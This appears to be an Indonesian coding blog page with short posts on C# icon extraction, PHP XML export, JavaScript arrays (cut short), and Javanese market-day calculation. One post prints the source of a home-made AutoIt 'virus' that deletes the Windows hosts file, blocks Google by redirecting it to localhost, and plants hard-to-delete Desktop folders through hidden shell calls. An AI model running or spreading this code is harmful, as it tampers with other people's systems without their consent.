Showing posts with label coding. Show all posts
Showing posts with label coding. Show all posts

April 16, 2013

SHExtractIconsW: Extract Executable Icon

Pertama kita deklarasi P/invoke, kita akan menggunakan fungsi "SHExtractIconsW" dari Shell32.dll, sebenarnya masih banyak fungsi Shell32.dll lain yang bisa kita gunakan untuk extract icon, sperti "ExtractIconEx" dan "LoadImage", tapi "ExtractIconEx" punya keterbatasan hanya mampu extract large icon (32x32) dan small icon (16x16), sedangkan "LoadImage" membutuhkan "hInstance" sebagai parameternya, itu akan menambah pekerjaan kita, "SHExtractIconsW" sendiri mampu mengextract berapapun ukuran icon, ini dia:
[DllImport("Shell32.dll", CharSet = CharSet.Unicode, ExactSpelling = true)]
static extern uint SHExtractIconsW(
    string pszFileName,
    int nIconIndex,
    int cxIcon,
    int cyIcon,
    IntPtr[] phIcon,
    uint[] pIconId,
    uint nIcons,
    uint flags
);
Untuk menggunakanya terlebih dahulu kita deklarasi beberapa variable,
uint nIcons = 1; // Jumlah icon yang ingin kita extract
uint iconsExtracted; // Jumlah icon yang berhasil di extract
int iSizeX = 128; // Ukuran tinggi icon
int iSizeY = 128; // Ukuran lebar icon
IntPtr[] Icons = new IntPtiSizeYr[nIcons]; // Array tempat tersimpannya icon yang kita extract
uint[] IconIDs = new uint[nIcons]; // Array ID icon
Lalu kita panggil fungsinya dengan cara:
iconsExtracted = SHExtractIconsW(strIconLocation, 0, iSizeX, iSizeY, Icons, IconIDs, nIcons, 0);
Sekarang kita baru punya handle dari icon kita, untuk benar-benar mendapatkan icon maka cukup melakukan
Icon myIcon = Icon.FromHandle(Icons[0]);
Selesai, tapi ingat, "SHExtractIconsW" hanya mampu mengextract icon dari file yang mengandung icon, seperti exe, dll, ico, icl, dan sebagainya.

March 28, 2013

Membuat file xml dari database menggunakan php.

Lumayan juga, beberapa puluh menit mencari cara termudah untuk melakukan hal ini, sempat beberapa kali salah memilih code karena databasenya mengandung karakter non UTF-8 yang menyebabkan eror sehingga file xml-nya tidak tertulis, alhasil kode inilah yang menjadi pilihan saya, walaupun masih tetap error jika di database ada karakter non UTF-8, setidaknya kode ini tetap bisa menuliskan result ke file xml.

if(mysql_num_rows($result)) {
    $doc = new DOMDocument("1.0");
    $doc->formatOutput = true;

    while($row = mysql_fetch_assoc($result)) {
        $r = $doc->createElement( "events" );
        foreach($row as $field=>$value) {
            $tChild = $doc->createElement( $field );
            $tChild->appendChild( $doc->createTextNode($value) );
            $r->appendChild( $tChild );     
        }
        $doc->appendChild($r);
    }
    $doc->appendChild( $r );
    $doc->saveXML();
    $doc->save("applist.xml");
}

October 1, 2012

Memahami Multi-Dimensional Array.

Seperti kita ketahui array bisa mempunyai dimensi lebih dari 1, itu yang dinamakan "Multi-Dimensional Array", sekarang mari kita bahas.
Di javascript kamu membuat array yang memiliki 3 elemen dengan cara
var myArray = new Array(3);
atau
var myArray = ['', '', ''];
lalu memasukkan nilainya dengan cara
for (var i = 0; i < 3; i++) {
    myArray[i] = i;
}
saya kira itu cukup untuk single dimensi array, sekarang multi dimensi array, untuk membuatnya kamu cukup menginisiasinya di dalam setiap array,

Virus sederhana dari AutoIt

Beberapa tahun yang lalu (sekitar 3 tahun mungkin) saya sempat membuat sebuah virus coba coba, virus ini belum saya publikasikan, saat virus ini saya buat 3 tahun lalu ,virus ini tidak dikenali oleh 50 antivirus terbaik dunia, sekarang ada perkembangan, virus ini sudah dikenali oleh 5 dari 50 antivirus terbaik dunia, di antaranya Kaspersky, dan Microsoft, untuk antivirus lokal saya kurang tahu.

Ketika anda melihat source code virus ini mungkin anda akan segera paham kenapa saya membuat virus ini :D, saya sudah men-sensor nama nama bersangkutan, ok ini dia source codenya, dahulu kala virus ini saya buat untuk Windows XP, jadi kemungkinan jika di jalankan di Win7 virus ini akan lumpuh, sekarang kita bahas source codenya.
Source Code:
Func _MenyampaikanPesan()
 FileDelete('C:\Windows\System32\Drivers\etc\Hosts')
  RunWait(@ComSpec & ' /c ' & 'echo 127.0.0.1 www.google.co.id >> "C:\Windows\System32\Drivers\etc\Hosts"', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.JANGAN HAPUS AKU."', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.AKU TETAP MENYAYANGIMU."', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.SELAMANYA."', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.UNTUKMU **SENSOR**."', '', @SW_HIDE)
EndFunc   ;==>_MenyampaikanPesan
Virus ini saya buat untuk menyampaikan pesan, di desktop akan dibuat 4 buah folder dengan nama "JANGAN HAPUS AKU", "AKU TETAP MENYAYANGIMU", "SELAMANYA" dan "UNTUKMU **SENSOR**." sensor itu sebenarnya sebuah inisial nama yang tidak elok kiranya untuk dipublikasikan, dan tentu saja folder yang di maksud tidak akan bisa di hapus, kecuali menggunakan script atau tool tertentu, jikapun folder terhapus, maka si virus akan membuatnya lagi.

Fungsi Untuk Hitung Pasaran Jawa

Pernah terpikir bagaimana cara mengetahui hari pasaran jawa (Pahing, Pon, Wage, Kliwon, Legi) hanya dari tanggal? kelihatanya mudah, tapi sebenarnya tak semudah yang di bayangkan, tapi, kalau sudah di kerjakan niscaya sebenarnya gampang kok, ini saya buat sebuah fungsi untuk mengetahui hari pasaran jawa.
function getPasaran(inputDate) {
  var pasDiketahui= new Date(1944, 11, 1);
  var hrPasaranU = ["Pahing", "Pon", "Wage", "Kliwon", "Legi"];
  var hrPasaranD = ["Pahing", "Legi", "Kliwon", "Wage", "Pon"];
  var oneDay = 1000 * 60 * 60 * 24;

  var actualDiff = inputDate - pasDiketahui.getTime();
  var actualDiffDay = Math.floor(actualDiff/oneDay);

  var i = actualDiffDay % 5

  if(actualDiffDay < 0){
    i = i * -1;
    return hrPasaranD[i];
  }

  return hrPasaranU[i];
}